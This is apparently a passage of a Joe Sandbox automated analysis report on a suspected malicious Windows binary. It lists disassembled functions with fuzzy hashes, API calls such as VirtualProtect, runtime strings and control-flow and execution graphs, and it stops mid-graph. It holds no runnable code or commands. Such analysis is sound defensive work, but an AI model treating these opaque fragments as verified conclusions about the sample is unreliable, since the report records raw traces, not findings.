                                                              • Instruction Fuzzy Hash: C0B17F2191C6C2C6F321AF25F8457BAB7A0FFA4B48F800235EA8856A95DF7CD185DB50
                                                              Function 00007FF7657B2690 Relevance: 19.6, APIs: 8, Strings: 3, Instructions: 322COMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              APIs
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1363609861.00007FF7657B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7657B0000, based on PE: true
                                                              • Associated: 00000000.00000002.1363594785.00007FF7657B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1363625937.00007FF7657B9000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1363646731.00007FF7657BB000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1363672140.00007FF7657BC000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1363878335.00007FF765A32000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1363902888.00007FF765A34000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_7ff7657b0000_NH95Vhokye.jbxd
                                                              Similarity
                                                              • API ID: wcslen$memsetwcscatwcscpywcsncmp
                                                              • String ID: 0$X$`
                                                              • API String ID: 329590056-2527496196
                                                              • Opcode ID: 38b92d864084d395b3f728c4c4a66371dc91d3a5f3a1b5f068707b6aa3dd9f5b
                                                              • Instruction ID: ed023036911c6c0768356869ca6e9fb4447cc9a398d6ac39bb39ce70292f81be
                                                              • Opcode Fuzzy Hash: 38b92d864084d395b3f728c4c4a66371dc91d3a5f3a1b5f068707b6aa3dd9f5b
                                                              • Instruction Fuzzy Hash: 4902A022918BC2C5E720AF19E8047AAB7A0FF99BA4F804235DA9C477E5DF3CD145D760
                                                              Function 00007FF7657B1BA0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 106memoryCOMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              APIs
                                                              • VirtualQuery.KERNEL32(?,?,?,?,00007FF7657BA4E0,00007FF7657BA4E0,?,?,00007FF7657B0000,?,00007FF7657B1991), ref: 00007FF7657B1C63
                                                              • VirtualProtect.KERNEL32(?,?,?,?,00007FF7657BA4E0,00007FF7657BA4E0,?,?,00007FF7657B0000,?,00007FF7657B1991), ref: 00007FF7657B1CC7
                                                              • memcpy.MSVCRT ref: 00007FF7657B1CE0
                                                              • GetLastError.KERNEL32(?,?,?,?,00007FF7657BA4E0,00007FF7657BA4E0,?,?,00007FF7657B0000,?,00007FF7657B1991), ref: 00007FF7657B1D23
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1363609861.00007FF7657B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7657B0000, based on PE: true
                                                              • Associated: 00000000.00000002.1363594785.00007FF7657B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1363625937.00007FF7657B9000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1363646731.00007FF7657BB000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1363672140.00007FF7657BC000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1363878335.00007FF765A32000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1363902888.00007FF765A34000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_7ff7657b0000_NH95Vhokye.jbxd
                                                              Similarity
                                                              • API ID: Virtual$ErrorLastProtectQuerymemcpy
                                                              • String ID: VirtualProtect failed with code 0x%x$ VirtualQuery failed for %d bytes at address %p$Address %p has no image-section
                                                              • API String ID: 2595394609-2123141913
                                                              • Opcode ID: b9cf4c7c082357fedaf16df8113a2eb3f96de575783d0c65671edc6e95d0029c
                                                              • Instruction ID: 3a756042a1555a7b1b9f02435758ca0612cdb6466b10e3ff10696eab33cc0f9b
                                                              • Opcode Fuzzy Hash: b9cf4c7c082357fedaf16df8113a2eb3f96de575783d0c65671edc6e95d0029c
                                                              • Instruction Fuzzy Hash: FB41BF61A09A42D1EA51AF01E8846B8A7A0EFA8FC4FD54532CE0D837A5DE3CE541E360
                                                              Function 00007FF7657B8330 Relevance: 10.7, APIs: 1, Strings: 6, Instructions: 185COMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 625 7ff7657b8330-7ff7657b834c 626 7ff7657b834e 625->626 627 7ff7657b837b-7ff7657b839f call 7ff7657b8320 625->627 628 7ff7657b8355-7ff7657b835a 626->628 632 7ff7657b85c6-7ff7657b85d8 627->632 634 7ff7657b83a5-7ff7657b83b9 call 7ff7657b8320 627->634 630 7ff7657b8360-7ff7657b8363 628->630 630->632 633 7ff7657b8369-7ff7657b836f 630->633 633->630 635 7ff7657b8371-7ff7657b8376 633->635 638 7ff7657b83cf-7ff7657b83e1 634->638 635->632 639 7ff7657b83c3-7ff7657b83cd 638->639 640 7ff7657b83e3-7ff7657b83fd call 7ff7657b8320 638->640 639->638 641 7ff7657b8425-7ff7657b8428 639->641 645 7ff7657b83c0 640->645 646 7ff7657b83ff-7ff7657b8421 call 7ff7657b8320 * 2 640->646 641->632 644 7ff7657b842e-7ff7657b845a call 7ff7657b8320 malloc 641->644 650 7ff7657b8460-7ff7657b8462 644->650 651 7ff7657b85bc 644->651 645->639 646->639 658 7ff7657b8423 646->658 650->651 653 7ff7657b8468-7ff7657b8498 call 7ff7657b8320 * 2 650->653 651->632 661 7ff7657b84a0-7ff7657b84b7 653->661 658->644 662 7ff7657b8593-7ff7657b859b 661->662 663 7ff7657b84bd-7ff7657b84c3 661->663 666 7ff7657b85a6-7ff7657b85b4 662->666 667 7ff7657b859d-7ff7657b85a0 662->667 664 7ff7657b8512 663->664 665 7ff7657b84c5-7ff7657b84e3 call 7ff7657b8320 663->665 670 7ff7657b8517-7ff7657b8559 call 7ff7657b8320 * 2 664->670 674 7ff7657b84f0-7ff7657b850e 665->674 666->628 669 7ff7657b85ba 666->669 667->661 667->666 669->632 678 7ff7657b8588-7ff7657b858f 670->678 679 7ff7657b855b 670->679 674->674 676 7ff7657b8510 674->676 676->670 678->662 680 7ff7657b8560-7ff7657b856c 679->680 681 7ff7657b8583 680->681 682 7ff7657b856e-7ff7657b8581 680->682 681->678 682->680 682->681
                                                              APIs
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1363609861.00007FF7657B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7657B0000, based on PE: true
                                                              • Associated: 00000000.00000002.1363594785.00007FF7657B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1363625937.00007FF7657B9000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1363646731.00007FF7657BB000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1363672140.00007FF7657BC000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1363878335.00007FF765A32000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1363902888.00007FF765A34000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_7ff7657b0000_NH95Vhokye.jbxd
                                                              Similarity
                                                              • API ID: malloc
                                                              • String ID: +y8$0y8$Hy8$Ly8$Py8$hy8
                                                              • API String ID: 2803490479-1442976025
                                                              • Opcode ID: 425f2fca943d939952a6c97103ec7a3f9c2da4f6fd0ea0b60d3b9a05132e9f6c
                                                              • Instruction ID: 7ec6427298babb3129565558833fc147e9e95bebd747a4a378b07b856bfdda9e
                                                              • Opcode Fuzzy Hash: 425f2fca943d939952a6c97103ec7a3f9c2da4f6fd0ea0b60d3b9a05132e9f6c
                                                              • Instruction Fuzzy Hash: 1C71B232E18606CBDB54AF15E410A7EB691FF6CF88F841235DE0A47781DE38E944AB60
                                                              Function 00007FF7657B2104 Relevance: 9.1, APIs: 6, Instructions: 51COMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1363609861.00007FF7657B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7657B0000, based on PE: true
                                                              • Associated: 00000000.00000002.1363594785.00007FF7657B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1363625937.00007FF7657B9000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1363646731.00007FF7657BB000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1363672140.00007FF7657BC000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1363878335.00007FF765A32000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1363902888.00007FF765A34000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_7ff7657b0000_NH95Vhokye.jbxd
                                                              Similarity
                                                              • API ID: CriticalSection$DeleteEnterErrorLastLeaveValuefree
                                                              • String ID:
                                                              • API String ID: 3326252324-0
                                                              • Opcode ID: 9e8433c03ae159392f29a05ef80e1fcff1fa50bf88d8dc86b377ffb6d18cf162
                                                              • Instruction ID: f7096c13a7fb9db7935da8e3f946af685d7d7a8627de8330dbd792ac83e91b88
                                                              • Opcode Fuzzy Hash: 9e8433c03ae159392f29a05ef80e1fcff1fa50bf88d8dc86b377ffb6d18cf162
                                                              • Instruction Fuzzy Hash: 3721D321E19A02C6FA26BF01FD44775A760BF28F54FD50030C91E87A64DF2CA846A360
                                                              Function 00007FF7657B1E10 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 77COMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 730 7ff7657b1e10-7ff7657b1e2d 731 7ff7657b1e2f-7ff7657b1e38 730->731 732 7ff7657b1e3e-7ff7657b1e48 730->732 731->732 733 7ff7657b1f60-7ff7657b1f69 731->733 734 7ff7657b1ea3-7ff7657b1ea8 732->734 735 7ff7657b1e4a-7ff7657b1e53 732->735 734->733 736 7ff7657b1eae-7ff7657b1eb3 734->736 737 7ff7657b1e55-7ff7657b1e60 735->737 738 7ff7657b1ecc-7ff7657b1ed1 735->738 739 7ff7657b1eb5-7ff7657b1eba 736->739 740 7ff7657b1efb-7ff7657b1f0a call 7ff7657b88d0 736->740 737->734 741 7ff7657b1f23-7ff7657b1f2d 738->741 742 7ff7657b1ed3-7ff7657b1ee2 signal 738->742 739->733 743 7ff7657b1ec0 739->743 740->741 752 7ff7657b1f0c-7ff7657b1f10 740->752 746 7ff7657b1f2f-7ff7657b1f3f 741->746 747 7ff7657b1f43-7ff7657b1f45 741->747 742->741 744 7ff7657b1ee4-7ff7657b1ee8 742->744 743->741 748 7ff7657b1eea-7ff7657b1ef9 signal 744->748 749 7ff7657b1f4e-7ff7657b1f53 744->749 746->747 747->733 748->733 751 7ff7657b1f5a 749->751 751->733 753 7ff7657b1f12-7ff7657b1f21 signal 752->753 754 7ff7657b1f55 752->754 753->733 754->751
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1363609861.00007FF7657B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7657B0000, based on PE: true
                                                              • Associated: 00000000.00000002.1363594785.00007FF7657B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1363625937.00007FF7657B9000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1363646731.00007FF7657BB000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1363672140.00007FF7657BC000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1363878335.00007FF765A32000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1363902888.00007FF765A34000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_7ff7657b0000_NH95Vhokye.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID: CCG
                                                              • API String ID: 0-1584390748
                                                              • Opcode ID: 37e9e04d5f7087407a06b6e4461cbe3a298d8138f59abe5995483bee079d44a2
                                                              • Instruction ID: cbdf08dc9d201857ba9cc1673bb3143c90391fda55cf80c7442d1c72733a6e3e
                                                              • Opcode Fuzzy Hash: 37e9e04d5f7087407a06b6e4461cbe3a298d8138f59abe5995483bee079d44a2
                                                              • Instruction Fuzzy Hash: 7421B061F0E106CAFA757B18D59037992819FADF64FA48135D91D833D4CE2CA881E361
                                                              Function 00007FF7657B1880 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 138memoryCOMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 755 7ff7657b1880-7ff7657b189c 756 7ff7657b18a2-7ff7657b18f9 call 7ff7657b2420 call 7ff7657b2660 755->756 757 7ff7657b1a0f-7ff7657b1a1f 755->757 756->757 762 7ff7657b18ff-7ff7657b1910 756->762 763 7ff7657b1912-7ff7657b191c 762->763 764 7ff7657b193e-7ff7657b1941 762->764 765 7ff7657b194d-7ff7657b1954 763->765 766 7ff7657b191e-7ff7657b1929 763->766 764->765 767 7ff7657b1943-7ff7657b1947 764->767 770 7ff7657b1956-7ff7657b1961 765->770 771 7ff7657b199e-7ff7657b19a6 765->771 766->765 768 7ff7657b192b-7ff7657b193a 766->768 767->765 769 7ff7657b1a20-7ff7657b1a26 767->769 768->764 772 7ff7657b1b87-7ff7657b1b98 call 7ff7657b1d40 769->772 773 7ff7657b1a2c-7ff7657b1a37 769->773 774 7ff7657b1970-7ff7657b199c call 7ff7657b1ba0 770->774 771->757 775 7ff7657b19a8-7ff7657b19c1 771->775 773->771 776 7ff7657b1a3d-7ff7657b1a5f 773->776 774->771 779 7ff7657b19df-7ff7657b19e7 775->779 780 7ff7657b1a7d-7ff7657b1a97 776->780 783 7ff7657b19d0-7ff7657b19dd 779->783 784 7ff7657b19e9-7ff7657b1a0d VirtualProtect 779->784 785 7ff7657b1b74-7ff7657b1b82 call 7ff7657b1d40 780->785 786 7ff7657b1a9d-7ff7657b1afa 780->786 783->757 783->779 784->783 787 7ff7657b1a70-7ff7657b1a77 784->787 785->772 792 7ff7657b1b22-7ff7657b1b26 786->792 793 7ff7657b1afc-7ff7657b1b0e 786->793 787->771 787->780 792->787 796 7ff7657b1b2c-7ff7657b1b30 792->796 794 7ff7657b1b10-7ff7657b1b20 793->794 795 7ff7657b1b5c-7ff7657b1b6f call 7ff7657b1d40 793->795 794->792 794->795 795->785 796->787 797 7ff7657b1b36-7ff7657b1b53 call 7ff7657b1ba0 796->797 797->795
                                                              APIs
                                                              • VirtualProtect.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7657B1247), ref: 00007FF7657B19F9
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1363609861.00007FF7657B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7657B0000, based on PE: true
                                                              • Associated: 00000000.00000002.1363594785.00007FF7657B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1363625937.00007FF7657B9000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1363646731.00007FF7657BB000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1363672140.00007FF7657BC000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1363878335.00007FF765A32000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1363902888.00007FF765A34000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_7ff7657b0000_NH95Vhokye.jbxd
                                                              Similarity
                                                              • API ID: ProtectVirtual
                                                              • String ID: Unknown pseudo relocation bit size %d.$ Unknown pseudo relocation protocol version %d.
                                                              • API String ID: 544645111-395989641
                                                              • Opcode ID: ac59ae2707865fe17bf5e231beda17e81318ac2957b213d9ca17d20232509cef
                                                              • Instruction ID: e94103425f7eb2d26d44d189da35813b005c26f9f403ba14e00479195e054644
                                                              • Opcode Fuzzy Hash: ac59ae2707865fe17bf5e231beda17e81318ac2957b213d9ca17d20232509cef
                                                              • Instruction Fuzzy Hash: 25515C71E08586D6EB10AF25E844BB8B761BF38F98F844231D92C47794DE3CE586E720
                                                              Function 00007FF7657B1800 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 30COMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 801 7ff7657b1800-7ff7657b1810 802 7ff7657b1812-7ff7657b1822 801->802 803 7ff7657b1824 801->803 804 7ff7657b182b-7ff7657b1867 call 7ff7657b2290 fprintf 802->804 803->804
                                                              APIs
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1363609861.00007FF7657B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7657B0000, based on PE: true
                                                              • Associated: 00000000.00000002.1363594785.00007FF7657B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1363625937.00007FF7657B9000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1363646731.00007FF7657BB000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1363672140.00007FF7657BC000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1363878335.00007FF765A32000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1363902888.00007FF765A34000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_7ff7657b0000_NH95Vhokye.jbxd
                                                              Similarity
                                                              • API ID: fprintf
                                                              • String ID: Unknown error$_matherr(): %s in %s(%g, %g) (retval=%g)
                                                              • API String ID: 383729395-3474627141
                                                              • Opcode ID: a9e8b2d3853f6fda864bc8311a2957073dac159bbf77dfb4c47069528915fdaa
                                                              • Instruction ID: 130c2b524684bb48ed154860730d51fd1c52f1b5ab6b484d6be415a9b863f81d
                                                              • Opcode Fuzzy Hash: a9e8b2d3853f6fda864bc8311a2957073dac159bbf77dfb4c47069528915fdaa
                                                              • Instruction Fuzzy Hash: 6DF0C211E18A49C2E610BF24E9410B9E361FF7DBD0F909231EE4D93251DF2CE182A310
                                                              Function 00007FF7657B219E Relevance: 5.0, APIs: 4, Instructions: 34COMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1363609861.00007FF7657B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7657B0000, based on PE: true
                                                              • Associated: 00000000.00000002.1363594785.00007FF7657B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1363625937.00007FF7657B9000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1363646731.00007FF7657BB000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1363672140.00007FF7657BC000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1363878335.00007FF765A32000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1363902888.00007FF765A34000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_7ff7657b0000_NH95Vhokye.jbxd
                                                              Similarity
                                                              • API ID: CriticalSection$EnterErrorLastLeaveValue
                                                              • String ID:
                                                              • API String ID: 682475483-0
                                                              • Opcode ID: e55f7eb9b2018997419ecd15c69435c633d9e1b7412eaef4a7dbf862a17f4240
                                                              • Instruction ID: c7e36e249ddce9ec8bf7af7af9ddd26f75f718125c8e64a6fa7893d3bdb83465
                                                              • Opcode Fuzzy Hash: e55f7eb9b2018997419ecd15c69435c633d9e1b7412eaef4a7dbf862a17f4240
                                                              • Instruction Fuzzy Hash: 8C01DE25E1AA02D2E616BF11FD04678A2A0BF2CF94FC54031C90D83A54DF2CA996E260

                                                              Execution Graph

                                                              Execution Coverage:3.6%
                                                              Dynamic/Decrypted Code Coverage:0%
                                                              Signature Coverage:0%
                                                              Total number of Nodes:1560
                                                              Total number of Limit Nodes:2
                                                              execution_graph 2667 7ff7de5a1140 2670 7ff7de5a1160 2667->2670 2669 7ff7de5a1156 2671 7ff7de5a11b9 2670->2671 2672 7ff7de5a118b 2670->2672 2674 7ff7de5a11d3 2671->2674 2675 7ff7de5a11c7 _amsg_exit 2671->2675 2672->2671 2673 7ff7de5a1190 2672->2673 2673->2671 2676 7ff7de5a11a0 Sleep 2673->2676 2677 7ff7de5a1201 _initterm 2674->2677 2678 7ff7de5a121a 2674->2678 2675->2674 2676->2671 2676->2673 2677->2678 2695 7ff7de5a1880 2678->2695 2680 7ff7de5a1247 SetUnhandledExceptionFilter 2681 7ff7de5a126a 2680->2681 2682 7ff7de5a126f malloc 2681->2682 2683 7ff7de5a128b 2682->2683 2686 7ff7de5a12d2 2682->2686 2684 7ff7de5a12a0 strlen malloc memcpy 2683->2684 2684->2684 2685 7ff7de5a12d0 2684->2685 2685->2686 2702 7ff7de5a3b50 2686->2702 2688 7ff7de5a1315 2689 7ff7de5a1344 2688->2689 2690 7ff7de5a1324 2688->2690 2693 7ff7de5a1160 93 API calls 2689->2693 2691 7ff7de5a1338 2690->2691 2692 7ff7de5a132d _cexit 2690->2692 2691->2669 2692->2691 2694 7ff7de5a1366 2693->2694 2694->2669 2696 7ff7de5a18a2 2695->2696 2701 7ff7de5a1a0f 2695->2701 2697 7ff7de5a1956 2696->2697 2698 7ff7de5a199e 2696->2698 2696->2701 2697->2698 2877 7ff7de5a1ba0 2697->2877 2700 7ff7de5a19e9 VirtualProtect 2698->2700 2698->2701 2700->2698 2701->2680 2704 7ff7de5a3b66 2702->2704 2703 7ff7de5a3c60 wcslen 2887 7ff7de5a153f 2703->2887 2704->2703 2709 7ff7de5a3d60 2712 7ff7de5a3d7a memset wcscat memset 2709->2712 2714 7ff7de5a3dd3 2712->2714 2715 7ff7de5a3e23 wcslen 2714->2715 2716 7ff7de5a3e35 2715->2716 2720 7ff7de5a3e7c 2715->2720 2717 7ff7de5a3e50 _wcsnicmp 2716->2717 2718 7ff7de5a3e66 wcslen 2717->2718 2717->2720 2718->2717 2718->2720 2719 7ff7de5a3edd wcscpy wcscat memset 2722 7ff7de5a3f1c 2719->2722 2720->2719 2721 7ff7de5a4024 wcscpy wcscat 2723 7ff7de5a404f memset 2721->2723 2726 7ff7de5a4131 2721->2726 2722->2721 2725 7ff7de5a4070 2723->2725 2724 7ff7de5a40d5 wcslen 2728 7ff7de5a40eb 2724->2728 2734 7ff7de5a412c 2724->2734 2725->2724 3067 7ff7de5a2df0 2726->3067 2729 7ff7de5a4100 _wcsnicmp 2728->2729 2730 7ff7de5a4116 wcslen 2729->2730 2729->2734 2730->2729 2730->2734 2731 7ff7de5a43a3 wcscpy wcscat memset 2733 7ff7de5a43e5 2731->2733 2732 7ff7de5a442a wcscpy wcscat memset 2736 7ff7de5a4470 2732->2736 2733->2732 2734->2731 2735 7ff7de5a44d5 wcscpy wcscat memset 2737 7ff7de5a451b 2735->2737 2736->2735 2738 7ff7de5a454b wcscpy wcscat 2737->2738 2739 7ff7de5a6658 memcpy 2738->2739 2740 7ff7de5a457d 2738->2740 2739->2740 2741 7ff7de5a2df0 11 API calls 2740->2741 2743 7ff7de5a472c 2741->2743 2742 7ff7de5a2df0 11 API calls 2744 7ff7de5a4840 memset 2742->2744 2743->2742 2746 7ff7de5a4861 2744->2746 2745 7ff7de5a48a4 wcscpy wcscat memset 2748 7ff7de5a48ed 2745->2748 2746->2745 2747 7ff7de5a4930 wcscpy wcscat wcslen 3079 7ff7de5a146d 2747->3079 2748->2747 2751 7ff7de5a4a44 2753 7ff7de5a4b3a wcslen 2751->2753 2760 7ff7de5a4d2d 2751->2760 3243 7ff7de5a157b 2753->3243 2756 7ff7de5a145e 2 API calls 2756->2751 2759 7ff7de5a4d0c memset 2759->2760 2761 7ff7de5a4d9d wcscpy wcscat 2760->2761 2764 7ff7de5a4dcf 2761->2764 2762 7ff7de5a4bf9 2762->2759 2763 7ff7de5a4c9f wcslen 2762->2763 3281 7ff7de5a15e4 2763->3281 2767 7ff7de5a2df0 11 API calls 2764->2767 2769 7ff7de5a4ed7 2767->2769 2768 7ff7de5a145e 2 API calls 2768->2759 2770 7ff7de5a2df0 11 API calls 2769->2770 2772 7ff7de5a4fec 2770->2772 2771 7ff7de5a2df0 11 API calls 2773 7ff7de5a50d6 2771->2773 2772->2771 2774 7ff7de5a2df0 11 API calls 2773->2774 2776 7ff7de5a51c0 2774->2776 2775 7ff7de5a5301 wcslen 2777 7ff7de5a157b 2 API calls 2775->2777 2776->2775 2778 7ff7de5a538b 2777->2778 2779 7ff7de5a5393 memset 2778->2779 2784 7ff7de5a54a5 2778->2784 2781 7ff7de5a53b4 2779->2781 2780 7ff7de5a5404 wcslen 3284 7ff7de5a15a8 2780->3284 2781->2780 2783 7ff7de5a2df0 11 API calls 2789 7ff7de5a5550 2783->2789 2784->2783 2792 7ff7de5a5642 _wcsicmp 2784->2792 2786 7ff7de5a5474 _wcsnicmp 2787 7ff7de5a5499 2786->2787 2795 7ff7de5a5c81 2786->2795 2788 7ff7de5a145e 2 API calls 2787->2788 2788->2784 2790 7ff7de5a2df0 11 API calls 2789->2790 2790->2792 2791 7ff7de5a5cde wcslen 2794 7ff7de5a15a8 2 API calls 2791->2794 2793 7ff7de5a565d memset 2792->2793 2807 7ff7de5a59e0 2792->2807 2800 7ff7de5a5681 2793->2800 2796 7ff7de5a5d3a 2794->2796 2795->2791 2798 7ff7de5a145e 2 API calls 2796->2798 2797 7ff7de5a56c6 wcscpy wcscat wcslen 2801 7ff7de5a146d 2 API calls 2797->2801 2798->2784 2799 7ff7de5a5a94 wcslen 2802 7ff7de5a153f 2 API calls 2799->2802 2800->2797 2803 7ff7de5a5793 2801->2803 2804 7ff7de5a5b1f 2802->2804 3295 7ff7de5a1530 2803->3295 2806 7ff7de5a145e 2 API calls 2804->2806 2809 7ff7de5a5b30 2806->2809 2807->2799 2818 7ff7de5a5bc7 2809->2818 3541 7ff7de5a2f70 2809->3541 2810 7ff7de5a57d1 3334 7ff7de5a14a9 2810->3334 2811 7ff7de5a6e2e 2812 7ff7de5a145e 2 API calls 2811->2812 2815 7ff7de5a6e3a 2812->2815 2814 7ff7de5a5c24 wcslen 2819 7ff7de5a5c3a 2814->2819 2842 7ff7de5a5c7c 2814->2842 2815->2688 2818->2814 2824 7ff7de5a5c50 _wcsnicmp 2819->2824 2820 7ff7de5a586d 2823 7ff7de5a145e 2 API calls 2820->2823 2821 7ff7de5a5b5d 3545 7ff7de5a38e0 2821->3545 2827 7ff7de5a5861 2823->2827 2828 7ff7de5a5c66 wcslen 2824->2828 2824->2842 3472 7ff7de5a3350 memset 2827->3472 2828->2824 2828->2842 2830 7ff7de5a14c7 2 API calls 2834 7ff7de5a5bb9 2830->2834 2831 7ff7de5a5de9 memset wcscpy wcscat 2836 7ff7de5a2f70 2 API calls 2831->2836 2832 7ff7de5a5855 2833 7ff7de5a145e 2 API calls 2832->2833 2833->2827 2834->2818 2840 7ff7de5a145e 2 API calls 2834->2840 2838 7ff7de5a5e40 2836->2838 2839 7ff7de5a3350 11 API calls 2838->2839 2843 7ff7de5a5e58 2839->2843 2840->2818 2842->2831 2844 7ff7de5a14c7 2 API calls 2843->2844 2845 7ff7de5a5e86 memset 2844->2845 2848 7ff7de5a5ea7 2845->2848 2846 7ff7de5a58bc 2847 7ff7de5a2df0 11 API calls 2846->2847 2856 7ff7de5a5945 2847->2856 2849 7ff7de5a5ef7 wcslen 2848->2849 2850 7ff7de5a5f47 wcscat memset 2849->2850 2851 7ff7de5a5f09 2849->2851 2858 7ff7de5a5f81 2850->2858 2852 7ff7de5a5f20 _wcsnicmp 2851->2852 2852->2850 2855 7ff7de5a5f32 wcslen 2852->2855 2854 7ff7de5a2df0 11 API calls 2857 7ff7de5a4234 2854->2857 2855->2850 2855->2852 2856->2854 2857->2688 2859 7ff7de5a5ff1 wcscpy wcscat 2858->2859 2861 7ff7de5a6023 2859->2861 2860 7ff7de5a6da2 memcpy 2862 7ff7de5a6160 2860->2862 2861->2860 2861->2862 2863 7ff7de5a621f wcslen 2862->2863 2864 7ff7de5a153f 2 API calls 2863->2864 2865 7ff7de5a62aa 2864->2865 2866 7ff7de5a145e 2 API calls 2865->2866 2867 7ff7de5a62bb 2866->2867 2868 7ff7de5a635a 2867->2868 2870 7ff7de5a2f70 2 API calls 2867->2870 2869 7ff7de5a145e 2 API calls 2868->2869 2869->2857 2871 7ff7de5a62e8 2870->2871 2872 